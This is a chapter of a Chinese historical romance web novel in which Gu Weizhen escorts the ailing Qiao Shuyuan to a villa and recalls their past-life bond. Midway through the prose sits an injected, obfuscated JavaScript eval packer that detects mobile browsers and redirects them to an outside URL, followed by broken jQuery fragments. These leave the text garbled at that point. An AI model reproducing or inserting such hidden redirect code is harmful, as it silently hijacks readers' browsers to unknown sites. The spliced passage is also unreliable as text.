16.第十六章

作品:《玉人来

    顾向霖从国子监出来,先回了镇国公府,再出府准备去乔府时,在门口碰到了顾维桢。


    “二哥。”顾向霖觉得稀奇,这个时辰见到顾维桢,就意味着他刚下职就回府了,实属难得。


    顾维桢微微颔首,目光似是扫过他身后小厮背着行李。


    顾向霖给他解释道:“母亲让我送圆姐儿去碧澄山庄小住一段时日。”


    他想着顾维桢不太关心这些事,又说:“圆姐儿近来病了,碧澄山庄清幽安静,最适合调养生息,母亲又向来疼她,吩咐人收拾干净了,让她过去养病。”


    乔府和镇国公府护卫若干,碧澄山庄离皇城也就一个时辰的距离,哪就轮到他护送乔舒圆,明眼人瞧了都知道华阳郡主这是在给他们创造相处的机会。


    顾向霖这回没有推辞,欣然接受了华阳郡主派给他的差事。


    他话音刚落,瞥见不远处有个人影探头探脑地躲在巷子口。


    那人是他给薛兰华买的护院。


    顾向霖特地吩咐过薛兰华周围服侍的人,遇到急事要先去国子监寻他,不到迫不得已的时候不能到镇国公府来。


    护院莫名出现在此处,定有很重要的事。


    一旁的顾维桢眼风扫过顾诚。


    顾诚箭步上前,厉声呵斥:“谁人敢在国公府门前鬼祟行事,还不快拿下。”


    门口的护卫们得了话,刚要过去,就被顾向霖急忙拦下,他看起来有些紧张,他转身对顾维桢说:“二哥,不妨事,这人我认识。”


    他挥手示意护卫们收了长棍。


    顾向霖装作不经意地看了一圈周围,走到顾维桢身旁,压低声音说:“二哥,他是那边的人。”


    顾维桢垂眸整理衣袖,淡淡地道:“还不过去,让人看到了像什么话。”


    顾向霖应声,疾步下了台阶,招来那人问话。


    他一边听着一边皱起眉头,脸上慢慢浮现纠结的神色,随后走回来时脚步仿佛都变得更加迟疑了。


    “那边的事情实在棘手,我恐怕……”


    顾向霖语气十分心虚,大抵也知道他想做的事情有多离谱。


    顾维桢静静地望着他。


    顾向霖更加羞愧。


    只是他实在担心薛兰华,原是与那宅子相邻的一直空着的北户今日搬来了新住户,新主人找上门,说是顾向霖的宅子多占了北户两分地,不由分说地跑到他院子里闹起来,说什么都要砸墙把地拿回去。


    真真是刁民!他宅子占地多少,地契上写得分明,衙门都登记在册,岂容他说什么就是什么!


    北户找几个莽壮大汉又吼又才吵的,薛兰华不能报官,肯定受了惊吓。


    偏此刻,顾向霖要低调行事,不能抬出他镇国公六爷的身份压人。


    顾维桢问顾向霖,那户人家姓什么。


    “好像是姓潘的人家。”顾向霖回想了一下,说道。


    “那是庆安王妃的娘家。”顾维桢提醒他。


    顾向霖这才想起顾维桢在南栗小巷也有一处宅子。


    这是镇国公府送给公子们的私产,只是顾维桢的宅子被他赁给旁人,但他知道那周围有哪些人家并不意外。


    “北户原来是庆安舅公的?”


    顾向霖记得不太清楚,经他提醒才想起来前。


    庆安王按辈分算是他们的舅公,年过五旬,三个月前新娶了一位王妃潘氏,潘氏出身不高,家中只有祖父任过大理寺卿,且早已年迈致仕,潘氏娘家全靠潘氏接济。


    庆安王是个没实权的闲散王爷,顾向霖倒不怕他,只是他和他的王妃毕竟是长辈。


    真吵到衙门去,两家脸面都不好。


    顾向霖思索中,顾维桢替他做了决定:“我让顾诚陪你跑一趟。”


    “那圆姐儿……”


    顾向霖试探地问道。


    “你去吧。”


    顾维桢英俊的面庞格外沉静,他说话时,语气波澜不惊,这让顾向霖觉得,他是整个镇国公府最可靠的人。


    顾向霖心中感动不已,他从来都不知道,他这个看起来冷淡的二哥竟然如此疼爱他。


    他抱拳表示感谢。


    顾维桢眉头都没有动一下,转身进了本来是给顾向霖准备的马车。


    *


    乔舒圆开门看到顾维桢,只以为自己走错了马车,转头看牵着马匹缰绳的车夫。


    的确就是镇国公的车夫,她没有走错!


    跟在她身后的乔时悦也看到了顾维桢,笑容僵硬在脸上,老实地给他行礼:“世子安好。”


    顾维桢静静地坐在那儿,车厢内光线昏淡,那双凤目幽深而绵长,打开车厢门,微风拂过,烛光闪烁,他那仿佛镀了一层光华的俊容精致耀眼,迷人的同时也很危险。


    “二哥。”乔舒圆反应过来,先作礼,然后对乔时悦说:“我们去后面的马车。”


    “圆姐儿。”顾维桢幽幽地开口。


    “姐姐。”外头的乔时悦小心翼翼地喊站在车厢门边,半进半退的乔舒圆。


    乔舒圆安抚乔时悦:“悦姐儿你先去后面的马车,我和世子说几句话。”


    等乔时悦走了,乔舒圆才坐进马车。


    望着考车门坐的乔舒圆,顾维桢揉捏眉头,似乎很无奈:“是顾向霖就能进来,是我就坐那么远,怕什么?”


    乔舒圆有些尴尬。


    起身往里挪动,落坐后,他们的脚尖几乎就要相碰。


    乔舒圆从来没有觉得车厢如此狭小,明明镇国公府的马车十分的宽敞。


    马车慢慢地往城外行驶,平稳而缓慢但车厢还是在微微的震动,乔舒圆一边悄悄地往后缩了缩腿,一边说:“二哥怎么来了?向霖哥哥呢?”


    顾维桢打量着她,白皙的小脸没有一点儿血色,本就温婉柔丽的面庞更显娇弱,柔和的眉眼却有一个倔强的眼神和疲惫的神态。


    几日不见,她就把自己折腾成这样?顾维桢冷声道:“你向霖哥哥有更重要的事情。”


    听出他语气里的讽刺,乔舒圆心里撇嘴,看来顾向霖是去找薛兰华了。他出现这儿,是在替他弟弟善后吗?


    乔舒圆心中腹谤,顾维桢这么忙的人,还要费精力帮着顾向霖处理杂事,顾向霖可真不懂事。


    顾维桢他……


    他大概是在嘲笑她无用吧,乔舒圆身体不舒服,她也懒得开口,轻轻的“哦”了一声,敷衍道:“不着急。”


    若是旁人与他这般语气说话,顾维桢早就甩袖子走人了,这会儿心肠怎么也硬不起来:“今日服药了?”


    乔舒圆这才抬眸看顾维桢,他在关心她?


    她不敢误会,正了神色,先说:“出门前刚用完了药。”


    “你先休息一会儿。”顾维桢侧身,指尖挑过他身后的车窗竹帘系带,竹帘落下,车厢内仿佛更安静了。


    乔舒圆服的药的确是有使她快速入眠的功效,她眨眨泛酸的眼睛,大夫开的是让她安神的药,就是让她多睡会儿,这样才没时间胡思乱想。


    她本打算把顾向霖赶出车厢,自己路上小憩片刻,但现在换做顾维桢,她……


    她不敢了。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16378412|183377||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    把顾维桢一个人晾在那儿,乔舒圆更加不好意思,她想了想,喊车厢外的曼英把食盒递给她:“二哥先用些点心吧。”


    乔家的点心有名气,多用于后宅夫人们交往,但顾维桢尝过几次。


    那是乔舒圆送来感谢他的,前世他送她从宴厅到她所住的熙莱院,她说谢过他的照顾。


    对顾维桢而言,那并不算什么。


    再后来,他休沐在濯芳亭赏雪景,她撑伞闯入。


    那个冬天异常寒冷,说话时,白烟缭绕,屋外漫天飞雪,一时出不去,乔舒圆只能和顾维桢待在一起。


    她话并不多,一个人悠闲自在地站在窗后望着池面。整个濯芳亭内静谧地只听到落雪声,顾维桢却怎么也看不进一个字。


    顾维桢合起书卷,望向她纤长的背影,涌上的孤寂让人感到不适。


    顾维桢想起顾向霖后院的热闹,对她说:“若是你想,可以把孩子养在你膝下。”


    “不要。”乔舒圆拒绝的干脆,甚至没有半点儿犹豫。


    顾维桢没有成亲,更没有孩子,假使他一直如此,等他百年之后,镇国公府的爵位便会落到他同母弟弟六房头上,不管是顾向霖还是他的儿子,总有一个人能继承国公府。


    乔舒圆能够教养一个孩子,对她而言只有益处。


    可她不想养别人的孩子,或者说她不想养顾向霖的孩子。


    “你想过继?”顾维桢沉思片刻道。


    他的语气,像是只要她点头,他就能立马出发去族里给她挑孩子。


    乔舒圆什么都不想,她也不留恋镇国公府的富贵,对于培养潜在的下一任国公,更没有兴趣。


    不过她还是谢过顾维桢的好意,正好次日是月初,陈夫人又叫人给她送了她未出嫁时在家爱吃的点心。


    乔舒圆从前都是派人送半份给华阳郡主,这次想到顾维桢,又分了些差人送到崇月斋,算谢过他的关心,礼轻情意重,希望顾维桢不要嫌弃。


    顾维桢尝过一块,很不错。


    他挑剔,能的一句不错也是不容易。


    乔舒圆知道后,连着几个月只要徐夫人送了吃食来吗,就派人给顾维桢送。


    十天半个月一次,她心思灵巧,每种高点配合原料口味都搭配着精致的碗


    赏心悦目。


    顾维桢自以为摸清了规律了,谁料乔舒圆自有想法。


    他找来文遥和德远:“六夫人今日没送东西来?”


    两人双双摇头,顾维桢清晰地感知到了比没有点心更异常的事。


    他对谁有了期待感?


    顾维桢缓缓舒出一口气,不送了也好,他当即吩咐文遥收拾行李。


    “明日去临安府。”


    文遥也了解他在朝堂中的事务:“临安府的案子也用不到世子亲自去处理。”


    顾维桢没有再说话,那边乔舒圆再送点心到崇月馆时才得知他已经离开了京城。


    顾维桢的行踪不需要告知乔舒圆。


    许多事都在顾维桢一念之间,他在府里说一不二,在朝廷上无人能左右他,即便如此,他仍然不会把自己放到如此凶险的地步。


    但此刻他就在悬崖边上。


    没有比他们前世又近又远的关系更危险,他们近到只要顾维桢想,他每日都可以见到乔舒圆,又远到他所有的想法都不该存在,远到即使近在咫尺,也永远有一堵坚不可摧的墙挡在两人中间。


    而就在此刻,静谧的,独属于她们两人的小世界里,顾维桢可以清晰地听到乔舒圆的浅浅的气息声。